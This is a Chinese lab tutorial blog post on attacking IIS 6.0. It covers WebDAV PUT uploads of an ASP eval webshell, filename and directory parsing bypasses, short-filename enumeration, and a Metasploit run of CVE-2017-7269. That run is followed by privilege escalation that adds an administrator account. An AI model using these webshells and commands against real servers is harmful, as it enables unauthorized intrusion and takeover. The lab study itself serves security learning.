zoukankan      html  css  js  c++  java
  • 中间件安全之IIS6.x渗透

    中间件安全之IIS6.x渗透

    一、IIS6安装

    IIS6主机IP为192.168.112.143 (NAT模式)

    1)安装应用程序组件

    cLhg2V.png

    2)导入IIS6安装插件

    IIS6过于久远,安装时需要使用到插件,等待安装完成

    注意:期间需要多次选择该文件夹下的文件,操作类似

    cLhc80.png

    3)打开IIS管理器

    cLh6Cq.png

    【创建、访问网站有些问题、后续补充】

    4)创建网站文件,访问网站
    写入如下内容用于测试

    <!-- k.html -->
    <center><h1>this is ASP  hello</center><h1><%eval request("xigua")%>
    

    cLhfrF.png

    二、IIS6.x漏洞原理和复现

    1、写入漏洞

    文件写入,getshell

    0x01 概述

    该漏洞的产生原因来源于服务器配置不当,服务器开启了WebDAV的组件导致的可以扫描到当前的操作,具体操作其实是通过WebDAVOPTION来查询是否支持PUT操作。

    WebDAV是什么?作用?
    WebDAV是一个存储服务,是一种通信协议,开启了WebDAV可以使应用程序对Web Server直接进行读写操作,还支持文件的版本控制

    前提条件:

    1. IIS Server在Web服务扩展中开启了WebDAV
    2. 网站属性开启了写入权限
    3. 匿名用户配置了写入权限

    IIS WebDAV相关参考:http://www.2cto.com/article/201307/228165.html

    0x02 漏洞指纹

    用put工具尝试

    0x03 复现操作

    1)设置WebDAV组件为允许状态

    cLhXrD.png

    2)开启网站写入属性

    cLhOKO.png

    3)开启匿名访问用户写入权限

    cLhb26.png

    cLh7P1.png

    4)使用IIS PUT Scaner扫描目标网站是否允许PUT操作
    填入相关信息,点击Scan,回显YES表示该网站允许PUT操作
    cLhH8x.png

    5)使用iiswriter写入文件
    选择PUT操作,填写域名IP和请求文件等信息,提交数据包,回显如下表示写入成功

    这里文件的内容:

    <%eval request("xigua")%>
    

    cLIV4s.png

    可以看到上传文件成功

    cLIENj.png

    再通过MOVE操作将文件名改为shell.asp

    改为shell.asp就可以直接连接,如果直接上传asp文件很大概率会报错

    cL4UiR.png

    cL43sU.png

    6)网站访问该文件查看是否解析.asp

    一般情况下网站会解析asp,但是由于这里是本地搭建,需要检查开启asp文件解析。在Web服务拓展中允许Active Server Page

    cL4JZ4.png

    访问页面,空白表示可以解析asp

    cL48LF.png

    7)使用菜刀进行连接

    使用蚁剑连接不上,换了菜刀

    填入相关信息

    cL4YdJ.png

    成功连上

    cL4to9.png

    0x04 参考

    IIS写权限漏洞 (HTTP PUT方法利用)

    2、文件解析漏洞

    文件上传绕过

    0x01 概述

    文件解析漏洞源于IIS6Windows对同一文件名的不同解析。对于如下的文件名,Windows会解释成jpg文件,而IIS6会忽略分号;后面的字段,解析成asp文件。

    1.asp;.jpg
    

    0x02 复现操作

    这里演示两个文件,文件内容如下

    #1.asp
    <%=time()%>
    
    #1.asp;.jpg
    <%=time()%>
    

    结果均返回了时间

    cL4cod.png

    实际上,只要在文件后面加上;.aaa(这里aaa为任意字符)都可以

    此外还有三种默认类型会被解析成asp,如下

    .asa
    .cer
    .cdx
    

    0x03 参考

    https://www.cnblogs.com/hack747/p/12271048.html

    http://www.2cto.com/article/201309/240797.html

    https://www.cnblogs.com/milantgh/p/4347520.html

    3、目录解析漏洞

    文件上传绕过

    前提:root目录下有/.asp的目录,一般不存在

    默认会将根目录下的*.asp/目录下的文件当作asp文件解析

    cL42FA.png

    4、短文件名漏洞

    目录爆破

    0x01 概述

    短文件名
    是针对过长的文件名设计的,当文件名具有如下特征之一时,就拥有其短文件名

    • 文件或目录名的主体部分(点前面部分)大于8字节(八个字符,英文算一个,中文算两个)
    • 文件或目录扩展名(点后面部分)大于3个字节

    cmd命令行中可以使用dir /x查看短文件名信息

    cL4WWt.png

    更多参考:
    https://www.jb51.net/article/166405.htm
    https://bwshen.blog.csdn.net/article/details/88031228

    此漏洞实际是由HTTP请求中旧DOS 8.3名称约定(SFN)的代字符(~)波浪号引起的。它允许远程攻击者在Web根目录下公开文件和文件夹名称(不应该可被访问)。攻击者可以找到通常无法从外部直接访问的重要文件,并获取有关应用程序基础结构的信息

    0x02 漏洞指纹

    直接用自动化工具跑吧

    0x03 复现操作

    Ⅰ. 手动操作

    1)检测是否存在IIS短文件名漏洞

    当访问某个存在的短文件名时,返回404

    http://192.168.112.143/X*~1*/.aspx
    

    cL4Teg.png

    不存在则返回Bad Request

    cL4RJI.png

    Ⅱ. 自动化操作

    2)脚本遍历短文件名

    使用IIS-ShortName-Scanner工具进行目录爆破

    下载地址:https://github.com/irsdl/IIS-ShortName-Scanner

    工具所需环境:python2.7JAVA7

    1. 环境配置好后,打开run.bat

    cL4hSP.png

    1. 设置目标网址URL

      http://192.168.112.143
      

    cL5KTH.png

    1. 跑出结果

    和上面的dir /x显示的信息可以看出,含有中文的短文件名跑不出来

    cL5u0e.png

    5、IIS6.x栈溢出漏洞(CVE-2017-7269)

    0x01 概述

    CVE-2017-7269IIS 6.0中存在的一个栈溢出漏洞,在IIS6.0处理PROPFIND指令的时候,由于对url的长度没有进行有效的长度控制和检查,导致执行memcpy对虚拟路径进行构造的时候,引发栈溢出,该漏洞可以导致远程代码执行

    利用条件:
    需要目标机器上开启WebDAV

    使用工具:

    相关文章:

    深入分析NSA用了5年的IIS漏洞 (seebug.org)
    CVE-2017-7269 IIS6.0远程代码执行漏洞分析及Exploit (seebug.org)

    0x02 复现操作

    1)先装入msf脚本

    CVE_2017_7269.rb文件复制到指定文件夹下

    cL5nmD.png

    2)启动msf,使用该脚本,设置信息,执行

    use exploit/windows/iis/cve_2017_7269
    show options
    set rhosts 192.168.112.143
    exploit
    

    成功得到会话session

    cL5eOO.png

    【这里有可能执行不成功】

    3)上传pr.exe脚本进行提权

    默认得到的权限为nt authority etwork service,是个低权用户,使用pr.exe进行提权

    这里在C盘提前创建了个x1gua文件夹

    meterpreter > upload '/home/kali/Desktop/pr.exe' c:\x1gua
    pr.exe "net user xigua 123456 /add"
    pr.exe "net localgroup administrators xigua /add"
    
    

    cL5kf1.png

    cL5Vl6.png

    cL5Z6K.png

    这里看到已经成功创建xigua用户,并已加进Administrators权限组

    4)使用wmiexec.exe进行连接

    wmiexec.exe xigua:123456@192.168.112.143
    
    

    cL5ESx.png

    ps:工具上传、IIS6介绍、前记

    6、工具下载

    链接:https://pan.baidu.com/s/1CkAe1TebKLk6kzhRozxw4g
    提取码:0cdf

  • 相关阅读:
    阿里云系列——3.企业网站备案步骤---2018-1-4
    关于VS2017安装的一点扩充说明(15.5)
    Git环境配置+VSCode中文乱码问题
    抛砖引玉之~sftp
    关于链接文件的探讨
    VSCode插件MSSQL教程(昨天提了一下)
    SQL Server 2017 安装过程中的一点说明(有点意思)
    PS如何批量生成缩略图(方法可以通用其他重复劳动)
    mdb导入SqlServer
    01.码医入门(完篇)
  • 原文地址:https://www.cnblogs.com/labster/p/14691138.html
Copyright © 2011-2022 走看看